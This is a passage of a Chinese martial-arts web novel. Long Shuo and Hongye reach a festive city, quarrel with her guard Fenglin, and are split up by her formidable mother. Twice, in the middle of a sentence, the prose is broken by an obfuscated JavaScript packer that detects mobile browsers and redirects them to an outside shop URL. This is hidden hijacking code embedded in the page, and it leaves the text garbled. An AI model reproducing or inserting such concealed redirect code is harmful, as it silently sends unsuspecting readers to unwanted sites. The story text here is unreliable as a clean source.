红叶摇了摇头:“需要猎到谢氏家主规定的那一只才行,今年具体是什么动物我也不知道,只知道虽然猎奇之争每年都举行,但是很少人能猎到他们所说的生物。谢亭韵为了吸引武功术法更加精湛的英雄过来,给出了很高的奖励,说谁要是能猎到今年的生物,便会奖励给他一只困兽网!很多英雄侠士慕名而来,想着借此机会一展身手,万一能猎到那只生物,不但可以获得宝物,还能够名扬天下呢!” 龙烁想了想,摇头道:“我还是不去了!我武功术法低微,万一遇到危险,不但保护不了你,还会拖累你!” “咱们又不是去争夺猎物的,不过是看看热闹而已!”,红叶拉起龙烁的衣袖恳求道:“而且我还有冰蝶蚕丝在手,绝对能保证咱们的安全。实在不行的话,我再把咱们易容成老人或者小孩儿,到时候再找机会逃跑不就行啦!” 龙烁暗想:“今日咱二人能够逃出生天实在是侥幸,若不是青龙星君及时出现,咱二人早就被叶子规的竹箭射穿啦,易容成什么人也没有用啊!”,不过他转念又想:“若不是红叶姑娘当初全力相救,自己到现在还活没活着那也很难说——她要我陪她游玩几天虽不是什么难事,但是孤男寡女一起朝行夜宿,这事要是传将出去,恐怕有损红叶姑娘的名声啊——” 龙烁思索了一会儿,勉强道:“好吧!红叶,我可以陪你,但是咱们须得约法三章!” 红叶听他同意留下了,立时变得喜笑颜开,又听他说要约法三章,十分好奇道:“约法哪三章?” “第一,你我二人共同游历,为了避免影响红叶姑娘你的声誉,咱们须以兄妹相称,而我必然也会安分守己管住自己的——咳咳,这你大可以放心!”,龙烁虽然口中这样说着,心中却想,红叶妹子这样娇俏可爱,我务须管好自己,主要原因是她武功比我强太多,我若不安分守己,那不是自取其辱嘛? 红叶背过身去道:“好!那第二呢?” “这第二嘛——就是遇事不可鲁莽,除非事态紧急,否则你万事须得听我安排!” 红叶小嘴一撇,说道:“行!第三?” “第三,后面你若再需施展乱真易容之术,可不能再把我变成女人啦!” 噗嗤一声,红叶忍不住笑了出来,她斜睨了龙烁一眼道:“好!”,随即头也不回地往西奔去。 红叶的轻功相当了得,一路上飞奔不停,龙烁奋力追赶,几次被甩在了后面,虽然不住叫着“慢点”,却发现她没有一丁点要慢下来的意思,龙烁只觉她一直眉头紧蹙沉默不语,不知到底想起了什么不愉快的事。 翻过一座小山丘,顺着小路走了大约一个时辰,两人来到了锦官城西。 此时已是傍晚,太阳的余晖已经消失殆尽。 进入西城门后,龙烁惊奇地发现这里竟然异常繁华,街道之上熙熙攘攘车水马龙,两旁的商贩不住朝往来的人群吆喝叫卖着自家的货物,什么文房四宝、水墨团扇、瓜果蔬菜、胭脂水粉等等,几乎是一应俱全应有尽有。 一盏盏花灯被商贩们挂在街道两旁,它们的造型奇特色彩斑斓,弄得龙烁眼花缭乱,看到大街上有许多小孩子在街边嬉笑欢闹,龙烁感到十分惬意,以致于有些忘乎所以乐不思蜀,竟全然想不起来中秋团圆之夜应该尽快赶回去与家人团聚了。 南首一位卖枇杷的大婶正在给一位身穿绿色锦衣的年轻公子过秤,虽然这位公子不断挥手示意够了够了,但这位大婶仍时不时地往秤砣里再添上几个果子,口中兀自说道:“我家的枇杷可是附近十里八乡出了名的好吃,皮薄个儿大,鲜嫩多汁,老人吃了延年益寿,小孩吃了聪明伶俐,买回去给媳妇吃,不但美容养颜,还能早生贵子呢......” 那男子是定是被这位大婶说动了,没有再说话,然后抱起刚称好的一大包枇杷欣然离开了。 龙烁正想着这位大婶可真会做买卖,却忽然发现红叶竟然已经不见了踪影。他一时之间慌了神,不住地在人群中穿梭,东张西望地找她不着,便高声喊嚷红叶的名字,却被市井的喧哗之声无情淹没了。 忽听一个年轻妇人哭哭啼啼地跑到街上,逢人便问:“你看到我的小孩了吗?我的孩子不见了,他都还没满月,你看到他了吗?” 龙烁见她询问的那些人,心肠好冲她摆摆手叹口气,冷漠一些的直接扔下一句“怕是已经被猛兽吃了吧!”便匆匆离去。 龙烁心中越发焦急,暗暗祈祷红叶可千万别遇到什么危险才是。他在小巷里穿梭半晌,结果兜兜转转地又回到了大街上。 深秋时节,一些枯黄的树叶被秋风吹起随风飘荡,中间还夹杂着几片鲜红的枫叶在其中盘旋飞舞,红黄相映倒是十分好看。 忽然之间,龙烁的右臂被一股大力猛然一拉,他身子一歪,整个人竟被拖行了一丈。 惊恐之下,他脚跟不稳,一个踉跄,跌倒在地,差点撞上旁边路过的一个小姑娘。 这小姑娘见这人笨手笨脚地自己摔倒,捂着嘴偷笑着走开了。 龙烁揉揉胳膊挣扎起身,他回头一看,刚才所站的地方竟出现了一片鲜红的枫叶斜插入土中。那枫叶刚劲有力坚而不折,似乎是一种铁质的暗器,这才明白原来是有人对自己突施暗算,但被那股大力救回了一命,明白了这些,龙烁顿时背上一紧,生出一身冷汗。 “龙烁哥哥,你没事吧?”,只见红叶手中提着两盏花灯飞身上前,紧张地道:“你有没有受伤?” “没——”,龙烁左臂摔得很痛,只是怕红叶太过担心,所以嘴上硬说没事,继续道:“谢谢你又救了我,你刚才去哪里了?” “我去买灯笼啦!”,红叶将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231104|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的花灯举到他面前给他看,这花灯通体红色,镂空的雕花萦绕周身,明亮的烛光从缝隙中溢出,忽明忽暗,格外好看。她本想着龙烁哥哥看到后肯定会很开心,却没成想在这热闹拥挤的街道上还会有人偷袭暗算。看到龙烁脸上流露出疼痛之色,红叶怒道:“枫林——出来!” 龙烁自打认识红叶以来,还没见过她发怒的样子,这一声怒吼凛然生威,便如呵斥奴才一般。 一人从巷子里闪身而出,来到红叶面前躬身施礼道:“小姐!” 此人一袭绿衣,正是刚才买枇杷的那位年轻男子。 虽然他看起来年纪轻轻,约莫十八九岁的年纪,但是他声音嘶哑如老翁,神情冷漠如冰雪,举手投足间尽显老气横秋的样子。 “哼,我见一片鲜红的枫叶在空中回旋打转,随即调转方向朝我龙烁哥哥飞去,就知道是你——”,红叶怒斥道:“枫林,你为什么暗算我龙烁哥哥?” 枫林眉头微皱,说道:“小姐,属下奉夫人之命寻找您,恰好听到此人口中一直喊着小姐的名字,属下恐怕他对小姐不利,于是打算擒住他询问究竟——” “胡说!”,红叶小嘴一撇,厉声道:“你的枫叶回旋镖剧毒无比,还说什么抓他询问,你不分青红皂白便随意出手伤人,连我的朋友你都敢动,是不是活得不耐烦了?” “属下不敢!”,枫林低声道:“属下的镖上虽有剧毒,但解药也不离身,倘若查明此人对小姐并无恶意,便会设法医治。属下奉夫人之命保护小姐,务须竭尽全力确保您的安全!” “哼,花言巧语!”,红叶不屑地道:“你打着母亲的旗号到处跟踪我,还故意伤害我的朋友,你到底有什么企图?” “属下跟这位姓龙的公子素不相识,无意冒犯,他既然是您的朋友,那么我也会尽我所能保护他,请小姐放心!” 红叶小嘴一瞥,不屑道:“谁要你保护了——” 龙烁瞧了瞧这位枫林护卫,见他不苟言笑、泰然若素,被主人责骂也没有丝毫慌张,语气仍是不疾不徐,没有一丝波澜,似乎已经习以为常了。 此人是红叶姑娘的贴身护卫,龙烁听他说要护屋及屋,连自己也会保护,对他十分感激。又见红叶仍要斥责,于是抢道:“红叶,我并未受伤,枫林兄也不是有意的,算啦算啦——” 红叶见他巧言令色骗得了龙烁的信任,心中越发生气道:“不行,他是非不分还故意伤害我的朋友,全然没把我这个主人放在心上,我非要教训他不可——”,她说着伸手便要打他。 龙烁连忙抓住红叶的手臂拦住她道:“呃——红叶,都是误会,都是误会!” 红叶挣扎了几下竟然挣脱不掉,只觉龙烁的手指像铁索一样坚硬有力,顿时一阵羞涩,脸颊通红,心中的怒火也消了一半。 “那个,枫林,我刚看到你买了很多枇杷带给小姐,是不是?”,龙烁冲枫林使了使眼色,意思是让他赶紧把刚买的枇杷拿出来哄主人消消气。 龙烁有意结识这位枫林护卫,一来是因为他自己远道而来,人生地不熟,多一位朋友多一条路。二来发现江湖并非自己所想象的那样简单好玩,危险似乎无处不在,自己武功术法又低微得紧,这一路上祸事不断状况频出,若是有这样一位善使飞镖的高手从旁保护,那也是再好不过的了。 果然,枫林从胸前的衣袋中取出来刚买的那一包枇杷恭恭敬敬地奉上。 这枇杷色泽金黄,个头较之昨天自己所采的果子略小,形状也更圆润一些,龙烁拿起一颗剥开了皮,递到红叶面前道:“你尝尝,好不好吃!” 红叶没有理会龙烁递过来的枇杷,而是径直走向枫林,将他手中的包裹打落在地。 圆滚滚的枇杷散落一地,引得路过的人群不住回头观望。 幸好众人皆以为是小两口在拌嘴打闹,也就没再理会他们。 龙烁发现自己讨了个没趣,于是吐了吐舌,将手中的枇杷放入了自己的嘴里,竟发现这枇杷比今早的野枇杷甜了很多,于是不住点头称赞,想着再去劝红叶尝尝。 只听红叶怒骂道:“快滚快滚,整天一副苦大仇深的样子,我见到你我就烦!” “小姐!”,枫林头将头低下去一些,喃喃道:“夫人叫我带您回去。” “我不回去,你就跟娘亲说你还没有找到我,我晚点会自己回去的!” 枫林稍微迟疑了一下,然后淡淡地道:“是,属下告退!”。他斜睨了一眼地上的琵琶,随即转身回到巷子里去了。 红叶转过身来,变怒为喜,朝龙烁道:“龙烁哥哥,咱们走吧!”,她语音清脆,声音爽朗,好像刚才的事情没有发生过一样。 龙烁见她的情绪转换如此之快,略带惊讶地问道:“你为什么这么讨厌枫林呢?”,一边问一边捡着地上的枇杷。 红叶也帮忙捡起枇杷放入龙烁怀中道:“嗯,这个人几年前不知道从什么地方突然冒出来,取得我娘的信任,从此就阴魂不散地跟着我,还美其名曰说是为了保护我,却从来不听我的命令,不知道他葫芦里到底卖的什么药!你看他,不管出现什么情况,眼神语气没有丝毫变化,好像行尸走肉一样,这样的人经常在你背后突然出现,你是什么感觉?” “噢,原来是这样!”,龙烁点头道:“不过他买的琵琶是真的很甜,你尝尝——”,他说着又递了一个枇杷过来。 红叶觉得枫林已经在南宫家待了好几年,对自己的兴趣爱好了如指掌,况且又深谙这里的生活习俗,自然知道什么样的枇杷甜,什么样的不甜。 刚才她当着枫林的面拒绝了龙烁递过来的枇杷,本意并非是拒绝他,而是拒绝枫林这个跟屁虫,现下龙烁并没有气恼,反而又递过来一个枇杷,她当然不会再拒绝,于是低下头来喃喃道:“这枇杷虽甜,却没有你昨天给我摘的更好吃些!”,她语气温柔,娇羞无限。 龙烁一呆,竟不知该如何回答。 见龙烁沉默不语,红叶将花灯换至左手,右手拉起龙烁道:“龙烁哥哥,咱们走吧!” 8. 观音之容 龙烁明白红叶刚才所说的话中之意,一时之间陷入了沉思,暗想自己孤身南来游山玩水,本意只是想到巫山尝尝那远近闻名的美酒“仙人酌”,感受这大千世界的美丽和异域他乡的风土人情,但是近日来祸事不断凶险频出,终于明白外面的世界远不是自己当初想象的那么简单而美好,多亏红叶姑娘屡次出手相助,心中对她十分感激,想着将来若是有机会一定会报答她。 只是二人相处两日以来,龙烁对这个聪明伶俐的小姑娘虽然十分喜爱,但也完全当她是自己的小妹子来悉心呵护,并未有其他非分之想,但他二人在一起期间,龙烁总能不经意地感受到红叶姑娘对自己可能并非兄长之情,而是有男女之意,竟然几次弄得他猝不及防、不知所措。 回想刚才的情形,龙烁暗觉自己的父亲是冀州一带的名士,家中也有不少仆人侍从,自己向来对他们和蔼可亲,从没像红叶这样没来由地对他们大吼大叫过,更别说动手打骂了。倘若自己日后娶了她,待到温情日减之后,她会不会也要对自己随意动手打骂了呢,虽然自己力量不小,但是武功术法低微,真的打起来的话,自己也绝对不是她的对手。 想到这里,他微微一怔,转念又想,自己男子汉大丈夫,当有容人之量,对别人尚应如此,何况对自己的妻子呢,如果真的娶了红叶姑娘为妻,她活泼大方娇俏可爱,那也是便宜了自己,自己当然应该对她百般呵护、万般疼爱了,只要事事顺从于她,我又怎么会惹她生气而自讨苦吃呢! 想明白这一节,龙烁便感觉毫无压力了,于是他打算一切顺其自然,这就是顺应道家学术所倡导的“道法自然”了! 一想到道家学术,龙烁又不自觉地遐想起来,他从小好读诗书,对儒释道的传统文化都颇为喜爱。他十分尊崇孔子儒家思想,仁义礼智信是父亲从小对自己的要求,一直以来他也谨尊慎行。而对于佛家经典,虽然他不大认同其绝情弃欲、六根清净的佛系思想,但却十分赞成他们诸恶莫做、众善奉行的佛学理念。 佛学主张乐善好施、众生平等,此时正处于宋朝宣和年间,赋税徭役繁重,百姓日出而作日落而息,一年到头几乎没有闲暇的时候,本来生活已是不易,却又强行将众人分为三六九等,有人世代富贵,有人生来贫苦,有人一生为奴。其实大家不过都是来凡尘吃那人生七苦的芸芸众生罢了,生老病死、怨憎会、爱别离、求不得之苦可以说是无人能够避逃。龙烁便想,既然众生皆苦,那么又何必再去过多计较而徒增自己和他人的烦恼呢! 若说佛法旨在修心养性,那么道家思想则旨在顺势而为了,并且反复推敲之后,发现道家学说中的“道法自然”似乎更加蕴涵着无穷的力量,如同阵阵飓风扑面而来,又如同滚滚波涛汹涌而至。 “顺其自然,无为而治”表面看来似乎是劝诫人们放下执念,不要刻意追求什么,例如功名利禄这些身外之物,只要顺应事物发展规律,一切都会水到渠成。但仔细琢磨之后龙烁发现,顺其自然的结果是然,无为而治的最后是治,二者是以顺势和无为而促成,反而倒像是有意而为之了,那么无为便是有为了吗? 想到这里,龙烁又觉得十分有趣。当年始皇帝统一天下后,施行法家学术,横征暴敛、奴役百姓,引得天下反对之声愈加强烈,农民揭竿而起。而汉文帝即位后,运用道家学术,采取无为而治的态度,缩减皇宫内的开支,与民休息、发展生产,最终留下文景之治的美名。 那么道家的主张到底是有为还是无为,抑或是无为又无不为呢?龙烁至今也没有想出答案。 想到此处,他又想起了古辰兄,若是此刻他在身边的话,当可问问他的看法,却不知何时才能再碰到他与他一起喝酒聊天! 待到回过神来,龙烁发现自己已经被红叶带到了一家馆驿外,他抬头一看,门口的牌匾上赫然写着三个大字——悦仙居。 龙烁心想这名字起得甚好,“恍醉如仙,悦居于此”,这正是自己想要的。 他正想着,便觉酒虫开始在腹中作祟,嘴里也不自觉地流起口水来! 细看那“悦仙居”的外观,朱漆绿瓦十分气派,有两层楼高,下面是饭店,上面便是客房。 现下已是傍晚时分,店里吃饭的客人很多,几乎座无虚席,楼上住宿的地方,龙烁发现临街有并排的三对窗扇,两边的窗扇紧闭不开,中间的窗扇却是大敞的,看来已经有人居住。 红叶拉着龙烁来到账台前朝正在算账的掌柜喊道:“钱掌柜,今日生意不错啊!” 钱掌柜抬起头来一看,喜上眉梢,赶紧热情招待,寒暄道:“原来是南宫家的小姐大驾光临,您二位是要吃饭吗?这边请,这边请——”,他说着便领着龙烁二人到东首的空桌旁落座。 红叶给龙烁要了两坛子美酒和一盘熟牛肉,给自己点了一碗面和几个素菜。两人折腾了一天又累又饿,都大口大口地吃了起来。红叶见龙烁一口气便喝干了整整一坛子的美酒,关切地道:“龙烁哥哥,这酒名叫小清酿,别名‘顷刻醉’,后劲很大的,你小心别喝醉了明天起不来啊!” “哈哈,这酒清甜甘洌,与那巫山仙人酌的醇香绵柔又有不同,好喝得很,我素爱吃酒,实在是控制不住,不过你放心,这点酒却是喝不倒我的!” 吃毕,红叶站起身来喊道:“钱掌柜,给我们准备上房——” 钱掌柜一怔,急忙跑到他二人身边,朝龙烁看了又看,瞧了又瞧,先是点头微笑,随即又满脸愁容道:“小姐,实在不是小的想坏您好事,您二位来得太不凑巧,今日小店已然住满啦,要不您去别的店看看?” 龙烁被这老掌柜瞧得很是别扭,又听他说不想坏什么好事,觉得这人太也无礼,心中十分不悦。他暗想:“此地我人生地不熟,也没人认识我,这钱掌柜胡乱造谣也没什么打紧,但是坏了红叶姑娘的声誉可就是大大的不好了!”,他正打算回顶他几句,却听红叶说道:“你这老头,怎么满嘴胡说八道?”,龙烁顿时心中一喜,暗想:“哼,看红叶姑娘怎么教训你吧!” 红叶小嘴一撇,厉声说道:“楼上只有一扇窗户敞开,明明尚有房间,怎么说都住满啦?” 钱掌柜急忙解释道:“小姐您有所不知,小的店中有三十间客房,其余二十八间都已经住满啦,而临街的那两间客房,也已经让中间客房的那两位公子包下啦!你说这八月十五中秋月圆之夜,本该是家庭团聚的日子,小的也不明白为何来了这么多贵客,只听他们说什么奇怪不奇怪,什么争不争的!实在不是小的故意为难小姐呀!”,他说着挠了挠头,生怕惹怒了这位南宫家的大小姐,莫的给自己的小店找上麻烦! “你胡说!”,红叶仰头轻哼道:“两位公子为何要住三间客房?你就是不想给我们住——” “啊呀不是不是,那两位公子只拿了中间客房的钥匙!”,钱掌柜突然放低了声音道:“估计是怕被打扰,两边的客房他们也不想别人住,于是把那两间的房钱也给小的付啦!” “额,既然如此,那两间客房还是空着的啦!”,红叶眼珠一转,从怀中取出两定金元宝来在钱掌柜面前晃了晃道:“我本来说定上两间宽敞明亮的上房,既然钱掌柜不想挣这白捡的钱,那就算啦!”,她说着便要将金元宝收回怀中。 龙烁顿时惊讶万分,一来是没想到她家中如此富庶,竟然视金钱如粪土,住店一晚最多就只需要一两白银,而她竟然拿出一定黄金,几乎是十倍的价钱,比三间客房合起来的银两还要多出不少!二来红叶姑娘自尊自爱,原来从一开始她就打算定两个房间,而自己还怕小姑娘年轻不懂事,不注重男女有别而影响她的声誉,看来是自己多虑了! 钱掌柜看到红叶拿出两定金元宝,霎时间眼放金光脸露喜色,又见她要把金子收回,便急忙拦住她将那两定黄金抢在手里,笑嘻嘻地道:“啊这个,小姐,要不这样,您二位在房中那个——嗯——尽量小点声,别吵到隔壁的那两位公子,我这就把客房钥匙给您哈!”,他说着跑到账台后拿出了两间房的钥匙恭恭敬敬地递到红叶面前。 “哈!”,红叶奇怪道:“你说话真是好笑,我们分睡两房,说话都听不见,又怎么会吵?” 钱掌柜微微一怔,连忙点头道:“是——是——是小的多虑了,呵呵——” 龙烁心想,红叶姑娘冰清玉洁,竟然两次没有听懂钱掌柜的话中之意,暗觉好笑。自己本想回敬那钱掌柜几句冷言冷语,幸得被她的天真无邪及时制止了,也正是她的天真无邪以最好的方式证明了两人的清白,较之自己去无礼顶撞那是更妙的了,正所谓道家的“大音希声,大象无形”原来就是这个意思! 两人上得楼来,发现中间那个房门被关得死死的。红叶带着龙烁进了西首的房间,里面的布置简单而舒适,门口一张屏风上画的是山水花鸟图,一只小喜鹊在蜿蜒而出的树枝上翘首歌唱,怡然自得。 房中的桌上除了茶杯茶壶,店家还细心地摆上了一只香鼎,里面点的是沉香,清新淡雅,助于睡眠。 红叶将灯笼挂在床头道:“灯笼放在这里可以驱邪避难,这是我娘说的,等你睡觉的时候再吹灭就行啦。龙烁哥哥,你就在这间客房休息吧,可以吗?” 龙烁点了点头道:“红叶,今天多谢你又救了我一次,你的冰蝶蚕丝功夫真是厉害!” 红叶突然听到他这么说,顿时羞涩了起来,柔声道:“你不用客气,我这也不是什么高深的功夫,我的冰蝶蚕丝对别人来说是稀有之物,但对我来说找到它们可是轻而易举,如果你喜欢,我可以教你啊,你力气比我大,用起来会更加顺手的。” “啊,不必了,你的绝技,我怎么好学习呢,况且我家传的追风术,我都还没弄明白!” 红叶突然间变得沉默不语,若有所思。 龙烁见她仿佛有心事似的,便问道:“怎么了?” “没——”,红叶道:“龙烁哥哥,我知道你不喜欢练武,但是你家的锥风术法那么厉害,如果从你这里失传,那岂不是很可惜?你为什么这么愿意学?” “哎,红叶,你不知道,其实我家祖传的追风术易懂难习,术语和运气的法门都很简单,但是需要长久修习,才能达到上乘功力。追风术分为攻守两部,每部又分为九个品级,由一至九,层层递进,内力越深,品级越高,风力作用也就越强,但是我家历代祖先根本没人能够真正学成九品风力。因此,所谓的九品风力能够翻天覆地、排山倒海,也不过是他们的推测罢了,因为谁都没有见过!” “哦哦!那你就更应该继承前辈的衣钵,将你家的锥风术法发扬光大,去练成九品功力呀?” “我家历代祖先修习至最高境界之人是我的增增增祖父龙藤,也不过达到了八等品级,而我的祖父,父亲,都只是练到了六品便不再精进。追风术法可化风成型,即便是练至六品也足够杀人御敌了!此术能够名扬天下,那是我们龙氏的荣耀,我怎么会不想修习呢!”,他说到此处,轻叹一声,然后继续说道:“父亲也盼望我能早日学成,他对我的要求并不高,只要能够达到他的水平就行了。但是我在父亲的监督下专心修习了十年,内力增长非常缓慢,始终冲不破一品,最多只能催动出一些比较小的隐形屏障以作防守,难以反攻。这也是因为我当时兴趣全在于读书写字,根本不想修习法术,表面上对父亲言听计从,暗地里却是我行我素,白天在父亲的监督下修习法术,晚上却整晚地秉烛夜读,以致于白天不能集中精力认真练习!我父亲只当我无此天赋,于是也就不再逼迫我学习术法了,现在想来,我确实心中愧疚,倒不是愧疚自己没有学成追风术,而是感觉有负父亲的厚望了!” “噢,原来是这样!”,红叶点了点头,沉思了一会儿道:“既然是因为白天精力不能集中而无法精进,那只要日后勤加练习,功力便可一点点增加了?” “嗯,这几日以来我孤身在外,又遇到这么多危险,这才体会到父亲的良苦用心,等我回家以后就会重新钻研修习,尽我所能不让父亲失望!” 闻声,红叶喜上眉梢道:“那就太好啦!”,她心想:“母亲要求我找夫婿必须是武功术法好的,龙烁哥哥出身名门,再将祖传术法学习精进,若是有朝一日我二人真的能走到谈婚论嫁的地步,那到时候母亲就必定不会反对啦——” 龙烁惊奇道:“你为什么这么高兴?” “啊,没有啊!”,红叶难掩笑意,于是背过身去说道:“我突然想到等你回家后,你父亲见你变化如此之大,定会说你是浪子回头的了,所以感觉好笑!” 龙烁摇头微笑道:“好啦,天色不早了,我送你回房休息吧!明天还要去万兽山玩耍,咱们早点起来赶路——”,他说着走到门口,想送她回房。 “好!” 红叶欣然答应,转身到床头去拿属于自己的那一只灯笼。 然而,龙烁刚一打开房门,门口便赫然出现两人,他没有防备,顿时吓了一跳,“啊”地叫出了声。他定睛一看,发现门口站着一男一女,女子在前,男子在后。 那女子是个中年妇人,相貌美丽如观音,妆容明艳似贵妃,惠丽绝伦雍容华贵,而那男子则身穿绿色锦衣,便是枫林。 那女人虽然黑着脸,龙烁却感觉从没有见过这么美丽的妇人,细看之下,见她头上戴着琉璃金凤钗,身穿淡粉色刺绣长衫,人到中年还依然保持着婀娜的身姿和纤细的腰身,不失年轻女子灵透的同时还更增添了一些成熟女人的韵味,一时间竟看得呆了。 忽见那妇人出手便是一掌,打得龙烁整个人向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231105|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后飞去,撞翻了后面的屏风又撞裂了墙壁这才停下。 龙烁虽没有昏晕,但感觉血气上涌胸中闷胀,一时间忍耐不住,竟喷出了一口鲜血。 龙烁揉了揉胸口,发现自己吐出鲜血之后便感到血脉畅通胸口舒畅,知道自己受伤并不是很重,但是没来由地被这女人打了一掌,却又怒气上涌心情激荡,平日里的谦逊也顾不得了,破口大叫道:“你——” “娘——”,红叶冲过来扶起龙烁叫道:“你干嘛打他?” 龙烁惊道:“这是你娘!?” 红叶点了点头。 那妇人道:“红叶,你要气死娘吗?竟然背着我跟不三不四的男人在这里厮混,哼,娘说的话你都当作耳旁风了吗?” 龙烁惊讶地看向那妇人,见她随意出口骂人,竟说自己不三不四,语气狠辣直如泼妇,于是心中不悦,觉得这妇人可不像她长得那么心地善良。 “娘,你误会了,他——” “住嘴,娘跟你说过多少次了,不要靠近陌生的男子,尤其是长得俊俏的,他们更是会骗人!”,那妇人说着踏门而入,气呼呼地走到桌案前坐了下来。 枫林迅速将大门关上后便退到她身后垂手而立。 龙烁更加惊讶了,他只听说过美貌女子贯会骗人,可从没听说过什么英俊男子会骗人之类的话,暗想她这是对长得好看的男人有多大的误解和仇怨呀! “娘,龙烁哥哥不是那样的人,他是龙氏锥风术的传人,冀州龙氏是燕赵一带的名门望族,娘你应该是听过的!” “胡说!他只给我轻轻打了一掌便口吐鲜血,几乎是全无内力,又怎么会是锥风术的传人,娘刚才怎么给你说的?你清醒点不要被他骗了!” “娘,是真的,龙烁哥哥会使锥风术的,我亲眼见过的,只是——只是他修为尚浅,内力还不够浑厚——” “哼,就算他真的是龙氏锥风术的传人,以他现在的功夫,怕是连你都打不过!娘不是跟你说过吗,你的夫婿一定得是武功盖世,或者术法卓绝的男人,仅是长得好看又有什么用?娘给你介绍了许多家世显赫、武功术法出众的公子,你都不要,这次不能再由着你了,娘就做主,把你许配给了谢灵雨,你跟我回去,完婚之前不许再到处乱跑了!” “什么?”,红叶大叫道:“娘,我不喜欢他,也绝不会嫁给他!” “父母之命,媒妁之言,嫁不嫁不是你说了算的!咱们家与谢家是世交,你父亲与谢庄主又结为了异姓兄弟,这谢灵羽风流倜傥文武双全,他有哪一点配不上你?况且你们又是发小,人家对你一往情深总不会亏待于你,走吧红叶,跟娘回去!” “娘,我不回去!”,红叶向枫林瞥了一眼,怨恨地说道:“枫林,是不是你通风报信?” 枫林没有说话,只是淡淡地看了看那妇人。 “呵!”,那妇人笑道:“你们这么年轻,又怎能糊弄得了我?我问他找到你没有,他口中说没有,眼神也算坚定,可是说了没有之后,便再没有下文了,以他平日的个性,定会向我好好解释一番,这次却只说了个‘没有’就完了,呵,我就知道是你教他的了,红叶,你以为娘是好骗的吗?” 龙烁心想,红叶的娘亲如此聪明机敏,又是个大大的美人,只是她性格太过强硬,说话又过于刻薄,便将她温婉娴熟的美丽外表大打折扣了。 “娘,我不是有意要骗您?只是——”,红叶本想说明天要去万兽山瞧瞧热闹,又想到这两日父亲和母亲要带师兄们去祭祖,他们定是不会去的了,那也更不可能允许我去,于是说道:“只是娘您喜欢的翡翠白玉簪我还没有买到,所以想着今晚去街上再去转转,等我买到了,就会回去的!” 龙烁心想这母女俩一个比一个鬼灵精怪,红叶故意说等她买到了就会回去,那便是如果买不到,就不会回去的了。 他看着这母女俩人在此明争暗斗,觉得十分有趣,他没有忍住,噗嗤一下,浅笑了一声,声音虽不大,却引起了那妇人的注意。 “好,等我把这不相干的人杀了,任你去买好了,这人外表出众却不学无术,便一定会花言巧语地糊弄人,留下也只会祸害无辜!”,那妇人说着便动手要杀龙烁。 龙烁大惊,暗觉这妇人既蛮横又无理,自己虽然武功术法不济,也不能说是不学无术,就算是真的是不学无术,又怎么会祸害无辜了?简直是岂有此理,莫名其妙!他一惊之下,向后退了几步。 “娘,不要!”,红叶一步跃至龙烁前面,将他挡在身后道:“我跟你回去便是了!” 那妇人轻哼一声道:“好,你只要答应我,完婚之前不再出来,我便饶了他!” 红叶默默低下头,看似极不情愿地道:“好——我——我答应你便是!” 那妇人朝枫林一瞥,枫林便即会意,走到门口处将大门打开,请南宫红叶出去。 南宫红叶回过头来看向龙烁,龙烁以为她会伤心掉泪,却发现她脸上并无哀怨之情,只是朝床头灯笼的方向看了一眼,随即又朝龙烁眨了眨眼睛,她没有再说话,便悻悻然离开了。 龙烁见他们几人先后离去,赶紧将门关上,扶起屏风,然后回到床边坐下休息。 惊魂稍定之后,他独自暗暗叫苦,想着自己从未做过什么见不得人的事,却无故生出这许多事端,差点连命也搭在这里,若不是红叶姑娘委曲求全,自己恐怕又已经成为亡命之魂了。他转头看向床头上挂的那两只灯笼,本来一只是他的,一只是红叶的,现下她也拿不走了。 龙烁暗想:“刚刚红叶出门前看了一下灯笼,又朝我眨了眨眼,不知那是什么意思?莫非是叫我记着她的情意,不要忘记她!”,他转念一想,又暗自叹息道:“哎,过段时间她便要嫁人了,我还去想什么七七八八?况且红叶的母亲如此不待见我,就算她不去嫁别人,我自己也是没什么机会的了!”,想到这里,他心中顿时愁绪万千,倍感凄凉。 他摘下其中一只灯笼拿在手中,这灯笼通体红色,烛火一闪一闪地从镂空雕花的缝隙中散发出来,如同红叶姑娘一样明艳照人。 他一边想着,一边用手轻轻抚摸,手指到处,忽然感觉有什么异物,他定睛一看,竟是一块巴掌大的红色方巾。 龙烁知道那一定是红叶刚刚给自己留下的讯息,他又惊又喜,暗自好奇她究竟是何时将这方巾塞到灯笼里的,他心想:“她母亲那么聪明,我们两人的任何动作都逃不过她的眼睛!啊是了,一定是她母亲在门口打我一掌时,红叶趁大伙没注意,快速放入灯笼的——” 他将小心取出那方巾打开来看,竟发现什么也没有,他又拿起方巾靠近烛火,翻来覆去仔细研究,还是什么也没有,于是哀叹道:“不会真的是她给我留作纪念的吧!” 9. 暗夜未央 折腾了这许久,已经是深夜,龙烁躺在床上反复回忆今晚的情形,想着是不是漏了什么地方,又或者红叶的暗示我没有理解? 他翻来覆去睡不着觉,脑中时不时想起两人在一起的时光。 过了一会儿,他又想:“既然红叶已经离开,那么后面我应当何去何从呢?是回家还是去别的地方呢?若是去别的地方,途中要是再遇上星月宫的人,那我岂不是没命了?” 他想着想着便感觉到困意来袭,过了一会儿,似睡非睡,又过了一会儿便迷迷糊糊地睡着了。 忽然间,龙烁发现自己来到了一处深山,山中小溪缠绕柳绿花红,景色甚是优美。 龙烁暗想:“莫非这里就是红叶所说的万兽山?” 